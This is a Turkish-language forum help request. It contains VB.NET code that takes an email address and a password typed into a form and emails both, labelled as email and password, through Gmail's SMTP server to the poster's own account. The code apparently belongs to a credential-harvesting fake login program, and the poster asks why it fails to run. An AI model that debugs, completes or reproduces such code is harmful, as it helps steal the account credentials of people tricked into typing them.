Visual studio ile yazıom hep şu hatayı alıom.Bir türlü çalışmıo uygulama
http://k1310.hizliresim.com/1g/3/t7q35.bmp
Kullandığım kodlar ise şu
If TextBox1.Text = "" Then
MsgBox("E-Posta Boş Bırakılamaz.")
If TextBox2.Text = "" Then
MsgBox("Şifre Alanı Boş Bırakılamaz.")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("
[email protected]", "şifre")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("
[email protected]")
mail.To.Add("gmail")
mail.Subject = "E-Posta : " & TextBox1.Text
mail.Body = "Sifre : " & TextBox2.Text & ","
smtpServer.Send(mail)